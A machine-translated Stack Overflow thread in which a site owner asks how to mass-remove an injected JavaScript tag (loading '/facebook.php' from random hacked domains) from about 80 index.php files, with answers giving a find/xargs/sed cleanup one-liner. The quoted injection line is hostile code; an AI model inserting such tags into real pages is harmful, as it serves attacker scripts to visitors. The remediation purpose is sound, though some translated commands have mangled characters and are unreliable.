Командная строка Linux: редактировать взломанные индексные файлы

К сожалению, я снова столкнулся со взломанным сайтом на сервере Linux Plesk. Хотя проблема устранена с изменением доступа к FTP (это дошло до знаменитого взлома FTP-кодов Filezilla на ПК), я был бы признателен, если бы знал, как редактировать файлы, поскольку восстановление сайта до самой последней резервной копии может занять более часа. у нас есть, и я был бы рад вернуть его онлайн быстрее. Хак довольно прост: код javascript был вставлен во многие файлы index* (кажется, только index.php) на сайте. Я ищу способ массового редактирования взломанных файлов, зная, что хотя целевой код javascript один и тот же, он вызывается с ряда, вероятно, также взломанных сайтов. Поэтому, хотя мой законный индексный файл начинался с

<?php

сейчас начинается как

<script type="text/javascript" src="http://(RANDOMDOMAINHERE)/facebook.php"></script><?php

Поскольку эта цепочка содержит переменную, не могли бы вы помочь мне найти надежный метод редактирования всех измененных файлов индекса (найдено около 80)? Раньше я использовал замену SED, но на этот раз часть цепочки для замены отличается, так что могу ли я использовать подстановочный знак? С уважением, спасибо, что пролили свет!


person Denis    schedule 21.04.2011    source источник
comment
@sehe На самом деле, я проголосовал за ответы, потому что они не отвечают на вопрос исходного постера и откровенно подстрекают. У ОП есть множество проблем, связанных со взломанным сервером, и среди них устранение повреждений, к которым относится этот вопрос. Возможно, ОП следует отредактировать сообщение, чтобы сказать, что я определил и удалил уязвимость, чтобы получить законную помощь от сообщества.   -  person poundifdef    schedule 22.04.2011
comment
Я ценю, что вы проголосовали за это. Никакого вреда. Я удалю язвительный комментарий в ОП. Тем не менее, я действительно чувствую, что оба ответа пытались честно предотвратить дальнейшую опасность и ущерб. Я чувствую, что бесполезно начинать с другого ответа.   -  person sehe    schedule 22.04.2011
comment
Этот замечательный сайт предназначен для того, чтобы помогать таким людям, как я, улучшать свои знания, например, о регулярных выражениях и инструментах cli, а не получать наполовину мудрые и бесполезные язвительные комментарии, которые никому не помогают.   -  person Denis    schedule 22.04.2011
comment
Я не просил голосов :) Хотя сейчас да   -  person sehe    schedule 22.04.2011
comment
Посетите grymoire.com/Unix/Sed.html, чтобы получить советы по использованию Stream. редактор для выполнения именно этого, вы, вероятно, можете изолировать часть случайного домена с помощью [0-9a-zA-Z.]+   -  person Rich    schedule 22.04.2011
comment
@sehe и плюсы, которые вы получили! Я извиняюсь за то, что был сердитым; Большое спасибо за публикацию ответа (который вы опубликовали, я смог закончить свой, так что сегодня у меня нет представителя!) :)   -  person poundifdef    schedule 22.04.2011


Ответы (3)


find -name 'index.php' -print0 |
    xargs -0 sed -i '1s#^<script type="text/javascript" src="http://.*\?/facebook.php"></script>##g'

Должен творить чудеса

команда sed:

  • 1 (совпадение в первой строке)
  • s#pattern#replacement#g (заменить шаблон заменой, а не то, что последний пуст)
  • ^ должно совпадать в начале строки
  • .*\? принимать произвольную длину последовательности символов; однако, если для всего шаблона может быть найдено более одного совпадения, сопоставьте только самый короткий из возможных вариантов.

Ваше здоровье

person sehe    schedule 21.04.2011
comment
@poundifdef: спасибо, что заметил это: это плохая ТАК-привычка цитировать backticks... Я начну смотреть это (впервые это случилось) - person sehe; 22.04.2011
comment
И чтобы разбить его: xargs берет каждый из результатов, возвращенных find, и использует его в качестве аргумента в sed. -i выполняет замену файла на месте (который передается в качестве аргумента sed через xargs). и для регулярного выражения... ну, кто-то еще должен пролить свет на то, как работает это регулярное выражение! - person poundifdef; 22.04.2011
comment
@poundifdef: добавлено немного прозы - person sehe; 22.04.2011
comment
Что касается указателя, я решил это с помощью sed -i 's_‹script type=text/javascript src=.*/facebook.php›‹/script›‹?php_‹?php_' $hackedfile в моем цикле bash; так что я чувствую, что это был полезный обмен мнениями, совсем не по теме. - person Denis; 22.04.2011
comment
Я проголосовал за повторное открытие уже давно, но все еще нужно больше голосов :) Ура - person sehe; 22.04.2011

Я искренне надеюсь, что на самом деле вы не управляете рабочим доменом. Вы должны сообщить своим пользователям, исправить проблему, предложить пользователям вернуться к последней резервной копии, в которой нет проблемы.

Неизвестно, что еще было подделано.

Я рад, что мой VPS где-то в другом месте!

person sehe    schedule 21.04.2011
comment
Не уверен, в какой момент я попросил совета в контексте, о котором вы ничего не знаете. Здесь нет производственных площадок и пользователей, о которых стоит беспокоиться. Да, я столкнулся с проблемой безопасности на сервере, на котором размещен один тестовый домен, над которым я работаю, поэтому этот вопрос касается помощи в массовом редактировании файлов, и ни о чем другом. Я проголосовал против любого ответа, но рад, что некоторые хорошие люди сочли, что ваш должен быть таким. - person Denis; 22.04.2011
comment
Я думаю, что неправильно истолковал слова «к сожалению, еще раз имел дело с ...» и «(найдено около 80)», предполагая 80 разных сайтов :) Прошу прощения. (Я поддерживаю свой совет, но поскольку он бесполезен, я опубликовал реальный ответ) - person sehe; 22.04.2011

Я бы исправил эксплойт Cross side scripting до того, как эта проблема будет решена, иначе все будет напрасно. Когда это сделано, простого поиска и замены блоков скрипта, содержащих общую строку, должно быть достаточно.

person Jake Kalstad    schedule 21.04.2011
comment
Я бы исправил эксплойт Cross side scripting до того, как эта проблема будет решена, иначе все будет напрасно. Это, безусловно, имеет смысл, и я также действительно работаю над этим. Однако, как только это будет решено, я был бы рад увидеть пример простого поиска и замены блоков скрипта, содержащих общую строку. - person Denis; 22.04.2011
comment
Просто чтобы уточнить, что взлом не произошел на стороне нашего сервера и технически представлял собой несанкционированный доступ с использованием законной учетной записи, поскольку изменения на веб-сайтах сервера произошли из-за учетных данных, украденных на взломанном ПК с Windows, по-видимому, в незашифрованные сохраненные учетные данные Filezilla. Спасибо за оперативную помощь. - person Denis; 02.12.2011